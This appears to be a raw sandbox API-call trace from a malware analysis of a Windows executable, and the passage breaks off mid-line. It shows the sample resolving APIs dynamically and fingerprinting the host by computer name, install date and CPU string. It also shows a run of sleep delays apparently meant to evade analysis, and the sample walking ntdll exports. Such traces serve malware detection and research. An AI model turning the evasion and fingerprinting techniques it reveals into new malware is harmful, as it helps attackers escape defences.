GetProcAddress (hModule=0x769e0000, lpProcName="lstrcmpiA") returned 0x769f3e8e [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="GetExitCodeProcess") returned 0x76a0174d [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="VirtualProtectEx") returned 0x76a745bf [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="lstrcmpA") returned 0x76a0eceb [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="OpenProcess") returned 0x769f1986 [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="VirtualAlloc") returned 0x769f1856 [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="CreateFileA") returned 0x769f53c6 [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="GetProcAddress") returned 0x769f1222 [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="GetModuleFileNameW") returned 0x769f4950 [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="VirtualFree") returned 0x769f186e [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="GetModuleFileNameA") returned 0x769f14b1 [0029.934] GetProcAddress (hModule=0x769e0000, lpProcName="GetFileSize") returned 0x769f196e [0029.935] GetProcAddress (hModule=0x769e0000, lpProcName="SetFilePointer") returned 0x769f17d1 [0029.935] GetProcAddress (hModule=0x769e0000, lpProcName="ReadFile") returned 0x769f3ed3 [0029.935] GetProcAddress (hModule=0x769e0000, lpProcName="CreateFileW") returned 0x769f3f5c [0029.935] GetProcAddress (hModule=0x769e0000, lpProcName="ExpandEnvironmentStringsW") returned 0x769f4173 [0029.935] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76c00000 [0029.935] GetProcAddress (hModule=0x76c00000, lpProcName="MessageBoxA") returned 0x76c6fd1e [0029.935] GetProcAddress (hModule=0x76c00000, lpProcName="wsprintfA") returned 0x76c2ae5f [0029.935] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75220000 [0029.935] GetProcAddress (hModule=0x75220000, lpProcName="RegQueryValueExA") returned 0x752348ef [0029.935] GetProcAddress (hModule=0x75220000, lpProcName="RegOpenKeyExA") returned 0x75234907 [0029.935] GetProcAddress (hModule=0x75220000, lpProcName="RegCloseKey") returned 0x7523469d [0029.935] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77340000 [0029.935] GetProcAddress (hModule=0x77340000, lpProcName="ZwQueryInformationProcess") returned 0x7735fac8 [0029.936] GetProcAddress (hModule=0x77340000, lpProcName="RtlGetVersion") returned 0x7737873a [0029.936] GetProcAddress (hModule=0x77340000, lpProcName="NtCreateSection") returned 0x7735ff94 [0029.944] GetProcAddress (hModule=0x77340000, lpProcName="memcpy") returned 0x77362340 [0029.944] GetProcAddress (hModule=0x77340000, lpProcName="mbstowcs") returned 0x773ba152 [0029.944] GetProcAddress (hModule=0x77340000, lpProcName="memset") returned 0x7736df20 [0029.944] GetProcAddress (hModule=0x77340000, lpProcName="ZwClose") returned 0x7735f9d0 [0029.945] GetProcAddress (hModule=0x77340000, lpProcName="NtUnmapViewOfSection") returned 0x7735fc70 [0029.945] GetProcAddress (hModule=0x77340000, lpProcName="NtMapViewOfSection") returned 0x7735fc40 [0029.945] GetProcAddress (hModule=0x77340000, lpProcName="RtlNtStatusToDosError") returned 0x773761ed [0029.945] GetProcAddress (hModule=0x77340000, lpProcName="_aulldiv") returned 0x7739b140 [0029.945] GetProcAddress (hModule=0x77340000, lpProcName="RtlUnwind") returned 0x77386d39 [0029.945] GetProcAddress (hModule=0x77340000, lpProcName="NtQueryVirtualMemory") returned 0x7735fbc8 [0029.945] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76d00000 [0029.945] GetProcAddress (hModule=0x76d00000, lpProcName="StrChrA") returned 0x76d0c5e6 [0029.945] GetProcAddress (hModule=0x76d00000, lpProcName="StrRChrA") returned 0x76d0ccf5 [0029.945] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x18eeb4 | out: lpflOldProtect=0x18eeb4*=0x40) returned 1 [0029.946] VirtualProtect (in: lpAddress=0x401000, dwSize=0x3654, flNewProtect=0x20, lpflOldProtect=0x18eeb4 | out: lpflOldProtect=0x18eeb4*=0x40) returned 1 [0029.946] VirtualProtect (in: lpAddress=0x405000, dwSize=0x8be, flNewProtect=0x2, lpflOldProtect=0x18eeb4 | out: lpflOldProtect=0x18eeb4*=0x40) returned 1 [0029.946] VirtualProtect (in: lpAddress=0x406000, dwSize=0x54c, flNewProtect=0x4, lpflOldProtect=0x18eeb4 | out: lpflOldProtect=0x18eeb4*=0x40) returned 1 [0029.946] VirtualProtect (in: lpAddress=0x407000, dwSize=0x249, flNewProtect=0x4, lpflOldProtect=0x18eeb4 | out: lpflOldProtect=0x18eeb4*=0x40) returned 1 [0029.946] VirtualProtect (in: lpAddress=0x408000, dwSize=0x68cc8, flNewProtect=0x2, lpflOldProtect=0x18eeb4 | out: lpflOldProtect=0x18eeb4*=0x40) returned 1 [0029.947] VirtualProtect (in: lpAddress=0x471000, dwSize=0x7ae, flNewProtect=0x2, lpflOldProtect=0x18eeb4 | out: lpflOldProtect=0x18eeb4*=0x40) returned 1 [0029.953] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0029.953] HeapCreate (flOptions=0x0, dwInitialSize=0x400100, dwMaximumSize=0x0) returned 0x2540000 [0029.962] GetCommandLineW () returned="\"C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe\" " [0029.962] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0029.962] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0xe) returned 0x29387d0 [0029.962] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x2f) returned 0x29387e8 [0029.962] GetComputerNameA (in: lpBuffer=0x18ea4c, nSize=0x18ead8 | out: lpBuffer="YKYD69Q", nSize=0x18ead8) returned 1 [0029.962] lstrlenA (lpString="YKYD69Q") returned 7 [0029.962] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ead0 | out: phkResult=0x18ead0*=0x104) returned 0x0 [0029.962] RegQueryValueExA (in: hKey=0x104, lpValueName="InstallDate", lpReserved=0x0, lpType=0x0, lpData=0x18eacc, lpcbData=0x18ead8*=0x4 | out: lpType=0x0, lpData=0x18eacc*=0x8a, lpcbData=0x18ead8*=0x4) returned 0x0 [0029.962] RegCloseKey (hKey=0x104) returned 0x0 [0029.962] wsprintfA (in: param_1=0x18ec30, param_2="%8X" | out: param_1="570BCF04") returned 8 [0029.962] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0029.962] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387e8 | out: hHeap=0x2540000) returned 1 [0029.962] GetTempPathA (in: nBufferLength=0x100, lpBuffer=0x18eb30 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0029.963] lstrcatA (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpString2="570BCF04" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04" [0029.963] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04") returned 45 [0029.963] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x5c) returned 0x29387d0 [0029.963] mbstowcs (in: _Dest=0x29387d0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04", _MaxCount=0x2e | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04") returned 0x2d [0029.963] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2e [0029.963] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x5c) returned 0x2938838 [0029.963] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04", lpDst=0x2938838, nSize=0x2e | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04") returned 0x2e [0029.963] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0029.963] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\570BCF04" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\570bcf04"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0029.964] GetLastError () returned 0x2 [0029.964] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938838 | out: hHeap=0x2540000) returned 1 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x21) returned 0x29387d0 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x7) returned 0x2938800 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0xb) returned 0x2938810 [0029.964] wsprintfA (in: param_1=0x18ec3c, param_2="%c%c%c%c" | out: param_1="Inte") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec40, param_2="%c%c%c%c" | out: param_1="l(R)") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec44, param_2="%c%c%c%c" | out: param_1=" Cor") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec48, param_2="%c%c%c%c" | out: param_1="e(TM") returned 4 [0029.964] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938810 | out: hHeap=0x2540000) returned 1 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0xb) returned 0x2938810 [0029.964] wsprintfA (in: param_1=0x18ec4c, param_2="%c%c%c%c" | out: param_1=") i5") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec50, param_2="%c%c%c%c" | out: param_1="-750") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec54, param_2="%c%c%c%c" | out: param_1="0 CP") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec58, param_2="%c%c%c%c" | out: param_1="U @ ") returned 4 [0029.964] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938810 | out: hHeap=0x2540000) returned 1 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0xb) returned 0x2938810 [0029.964] wsprintfA (in: param_1=0x18ec5c, param_2="%c%c%c%c" | out: param_1="3.40") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec60, param_2="%c%c%c%c" | out: param_1="GHz") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec64, param_2="%c%c%c%c" | out: param_1="") returned 4 [0029.964] wsprintfA (in: param_1=0x18ec68, param_2="%c%c%c%c" | out: param_1="") returned 4 [0029.964] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938810 | out: hHeap=0x2540000) returned 1 [0029.964] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938800 | out: hHeap=0x2540000) returned 1 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x7) returned 0x2938800 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x7) returned 0x2938810 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x9) returned 0x2938820 [0029.964] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0xd) returned 0x2938838 [0029.964] SetupDiGetClassDevsA (ClassGuid=0x18ec18*(Data1=0x4d36e967, Data2=0xe325, Data3=0x11ce, Data4=([0]=0xbf, [1]=0xc1, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0xe1, [6]=0x3, [7]=0x18)), Enumerator=0x0, hwndParent=0x0, Flags=0x2) returned 0x31bed8 [0029.978] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x31bed8, MemberIndex=0x0, DeviceInfoData=0x18ec28 | out: DeviceInfoData=0x18ec28) returned 1 [0029.981] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x31bed8, DeviceInfoData=0x18ec28, Property=0xc, PropertyRegDataType=0x18ec50, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x18ec74 | out: PropertyRegDataType=0x18ec50, PropertyBuffer=0x0, RequiredSize=0x18ec74) returned 0 [0029.985] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x16) returned 0x2938850 [0029.985] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x31bed8, DeviceInfoData=0x18ec28, Property=0xc, PropertyRegDataType=0x18ec50, PropertyBuffer=0x2938850, PropertyBufferSize=0x16, RequiredSize=0x18ec74 | out: PropertyRegDataType=0x18ec50, PropertyBuffer=0x2938850, RequiredSize=0x18ec74) returned 1 [0029.991] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938850 | out: hHeap=0x2540000) returned 1 [0029.991] SetupDiDestroyDeviceInfoList (DeviceInfoSet=0x31bed8) returned 1 [0030.234] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938800 | out: hHeap=0x2540000) returned 1 [0030.234] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938810 | out: hHeap=0x2540000) returned 1 [0030.234] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0030.234] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938838 | out: hHeap=0x2540000) returned 1 [0030.234] GetTickCount () returned 0x19156 [0030.234] Sleep (dwMilliseconds=0x1f4) [0030.747] Sleep (dwMilliseconds=0x1f4) [0031.262] Sleep (dwMilliseconds=0x1f4) [0031.777] Sleep (dwMilliseconds=0x1f4) [0032.292] Sleep (dwMilliseconds=0x1f4) [0032.806] Sleep (dwMilliseconds=0x1f4) [0033.328] Sleep (dwMilliseconds=0x1f4) [0033.836] Sleep (dwMilliseconds=0x1f4) [0034.351] Sleep (dwMilliseconds=0x1f4) [0034.867] Sleep (dwMilliseconds=0x1f4) [0035.380] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.380] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x400) returned 0x29387d0 [0035.380] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.380] SwitchToThread () returned 1 [0035.402] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x400) returned 0x29387d0 [0035.402] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.402] SwitchToThread () returned 1 [0035.411] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x400) returned 0x29387d0 [0035.411] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.411] SwitchToThread () returned 1 [0035.427] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x400) returned 0x29387d0 [0035.427] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.427] SwitchToThread () returned 1 [0035.443] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x400) returned 0x29387d0 [0035.443] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.443] SwitchToThread () returned 1 [0035.458] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x400) returned 0x29387d0 [0035.458] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.458] SwitchToThread () returned 1 [0035.459] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x400) returned 0x29387d0 [0035.459] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.459] SwitchToThread () returned 1 [0035.474] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0035.474] GetVersion () returned 0x1db10106 [0035.474] GetCurrentProcessId () returned 0xa08 [0035.474] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x208) returned 0x29387d0 [0035.474] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x29387d0, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe" (normalized: "c:\\users\\aetadzjz\\desktop\\sgm_20190527_desfuhohdt.exe")) returned 0x35 [0035.474] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe", lpszLongPath=0x0, cchBuffer=0x0 | out: lpszLongPath=0x0) returned 0x36 [0035.475] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x6e) returned 0x29389e0 [0035.475] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe", lpszLongPath=0x29389e0, cchBuffer=0x36 | out: lpszLongPath="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe") returned 0x35 [0035.476] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x29387d0 | out: hHeap=0x2540000) returned 1 [0035.476] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0035.476] GetProcAddress (hModule=0x769e0000, lpProcName="IsWow64Process") returned 0x769f195e [0035.476] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ec70 | out: Wow64Process=0x18ec70) returned 1 [0035.476] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0035.476] lstrlenA (lpString="A_SHAFinal") returned 10 [0035.476] lstrlenA (lpString="A_SHAInit") returned 9 [0035.476] lstrlenA (lpString="A_SHAUpdate") returned 11 [0035.476] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0035.476] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0035.476] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0035.477] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0035.477] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0035.477] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0035.477] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0035.477] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0035.477] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0035.477] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0035.477] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0035.477] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0035.477] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0035.477] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0035.477] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0035.477] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0035.477] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0035.477] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0035.477] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0035.477] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0035.477] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0035.477] lstrlenA (lpString="CsrClientCallServer") returned 19 [0035.477] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0035.477] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0035.477] lstrlenA (lpString="CsrGetProcessId") returned 15 [0035.477] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0035.477] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0035.477] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0035.477] lstrlenA (lpString="DbgBreakPoint") returned 13 [0035.477] lstrlenA (lpString="DbgPrint") returned 8 [0035.477] lstrlenA (lpString="DbgPrintEx") returned 10 [0035.477] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0035.477] lstrlenA (lpString="DbgPrompt") returned 9 [0035.477] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0035.477] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0035.477] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0035.477] lstrlenA (lpString="DbgUiContinue") returned 13 [0035.477] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0035.477] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0035.477] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0035.477] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0035.477] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0035.478] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0035.478] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0035.478] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0035.478] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0035.478] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0035.478] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0035.478] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0035.478] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0035.478] lstrlenA (lpString="EtwEventEnabled") returned 15 [0035.478] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0035.478] lstrlenA (lpString="EtwEventRegister") returned 16 [0035.478] lstrlenA (lpString="EtwEventUnregister") returned 18 [0035.478] lstrlenA (lpString="EtwEventWrite") returned 13 [0035.478] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0035.478] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0035.478] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0035.478] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0035.478] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0035.478] lstrlenA (lpString="EtwEventWriteString") returned 19 [0035.478] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0035.478] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0035.478] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0035.478] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0035.478] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0035.478] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0035.478] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0035.478] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0035.478] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0035.478] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0035.478] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0035.478] lstrlenA (lpString="EtwReplyNotification") returned 20 [0035.478] lstrlenA (lpString="EtwSendNotification") returned 19 [0035.478] lstrlenA (lpString="EtwSetMark") returned 10 [0035.478] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0035.478] lstrlenA (lpString="EtwTraceMessage") returned 15 [0035.478] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0035.478] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0035.478] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0035.478] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0035.478] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0035.479] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0035.479] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0035.479] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0035.479] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0035.479] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0035.479] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0035.479] lstrlenA (lpString="KiFastSystemCall") returned 16 [0035.479] lstrlenA (lpString="KiFastSystemCallRet") returned 19 [0035.479] lstrlenA (lpString="KiIntSystemCall") returned 15 [0035.479] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0035.479] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0035.479] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0035.479] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0035.479] lstrlenA (lpString="LdrAccessResource") returned 17 [0035.479] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0035.479] lstrlenA (lpString="LdrAddRefDll") returned 12 [0035.479] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0035.479] lstrlenA (lpString="LdrEnumResources") returned 16 [0035.479] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0035.479] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0035.479] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0035.479] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0035.479] lstrlenA (lpString="LdrFindResource_U") returned 17 [0035.479] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0035.479] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0035.479] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0035.479] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0035.479] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0035.479] lstrlenA (lpString="LdrGetFailureData") returned 17 [0035.479] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0035.479] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0035.479] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0035.479] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0035.479] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0035.479] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0035.479] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0035.479] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0035.479] lstrlenA (lpString="LdrLoadDll") returned 10 [0035.479] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0035.479] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0035.480] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0035.480] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0035.480] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0035.480] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0035.480] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0035.480] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0035.480] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0035.480] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0035.480] lstrlenA (lpString="LdrResFindResource") returned 18 [0035.480] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0035.480] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0035.480] lstrlenA (lpString="LdrResRelease") returned 13 [0035.480] lstrlenA (lpString="LdrResSearchResource") returned 20 [0035.480] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0035.480] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0035.480] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0035.480] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0035.480] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0035.480] lstrlenA (lpString="LdrShutdownThread") returned 17 [0035.480] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0035.480] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0035.480] lstrlenA (lpString="LdrUnloadDll") returned 12 [0035.480] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0035.480] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0035.480] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0035.480] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0035.480] lstrlenA (lpString="LdrWx86FormatVirtualImage") returned 25 [0035.480] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0035.480] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0035.480] lstrlenA (lpString="MD4Final") returned 8 [0035.480] lstrlenA (lpString="MD4Init") returned 7 [0035.480] lstrlenA (lpString="MD4Update") returned 9 [0035.480] lstrlenA (lpString="MD5Final") returned 8 [0035.480] lstrlenA (lpString="MD5Init") returned 7 [0035.480] lstrlenA (lpString="MD5Update") returned 9 [0035.480] lstrlenA 